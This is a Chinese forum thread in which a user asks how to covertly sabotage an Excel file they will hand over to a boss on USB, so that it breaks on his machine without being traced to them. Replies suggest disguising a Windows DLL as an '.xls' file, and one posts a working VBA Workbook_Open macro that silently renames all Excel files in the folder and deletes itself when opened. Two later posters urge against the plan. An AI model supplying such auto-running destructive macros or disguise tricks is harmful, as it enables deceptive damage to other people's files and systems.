救命！！！！！十万火急！！！

304794887

我需要一个损坏一个excel表格，是我自己做了很久的，怎么损坏都行，乱码 打开错误，无法显示，自毁都可以，前提是要万无一失，我会以U盘的方式给他考过去，这个单位呆不下去了 我已经申请调走了，领导不是人 克扣工资 毁我前程，不送礼就打压，我不想把我的东西留给他，但还不能明说，所以这个东西我给他 但到了他电脑就出问题，与我无关了就 帮帮我 同志们

zjdh

解压后运行

水上漂123

看把这孩子逼成什么样了

lichuanboy44

关键看原excel里面有没有设计宏。如果原excel没有宏呢，或者不启用宏，则无法弄坏的

wanao2008

你在WINDWOS目录里随便找个文件，只要大小合适就行，最好是DLL文件，
把它改成你想要的文件名，比如“统计.XLS"，万事大吉！

QCW911

格式化他的硬盘{:101:}

wp8680

1. Private Sub Workbook_Open()
   
2. '要是看谁不顺眼，就发这个小代码小小地恶搞他一下，当然也不会让他的文件丢失，只是改掉当前文件夹中的所有的EXCEL文件名
   
3. '大家看看就行了，千万不要运行哦。刀用在厨房里是菜刀，用在战场上就是刺刀。做得太过的事，还是不要搞的好。
   
4. '此举能破坏，当然也能恢复，只要改动二个地方就可以了。
   
5.     Dim Filename As String, mypath As String, k As Integer
   
6.     On Error Resume Next
   
7.     Application.DisplayAlerts = False
   
8.     mypath = ThisWorkbook.Path & ""
   
9.     Filename = Dir(mypath & "*.xls*")
   
10.     Do
    
11.         k = k + 1
    
12.         Name mypath & Filename As mypath & k & ".小小地恶搞你一下"
    
13.         Filename = Dir
    
14.     Loop Until Filename = ""
    
15.     With ThisWorkbook
    
16.         .Save
    
17.         .ChangeFileAccess xlReadOnly
    
18.         Kill .FullName
    
19.         .Close False
    
20.     End With
    
21.     Application.DisplayAlerts = True
    
22. End Sub

复制代码

李建军

火钳 刘明

香川群子

别做傻事。

尤其是不要干损人不利已的事！

如果损人还能利己则自己权衡利弊即可，但损人不利己，万一对方不忿，那就糟了。
别指望伤害别人还能全身而退。

心正意诚身修

香川群子 发表于 2016-2-29 16:39
别做傻事。

尤其是不要干损人不利已的事！

我的想法跟你一样。。不管做什么事，都要能拿到台面上来。
背后搞小动作。没意思
同时也让别人看清你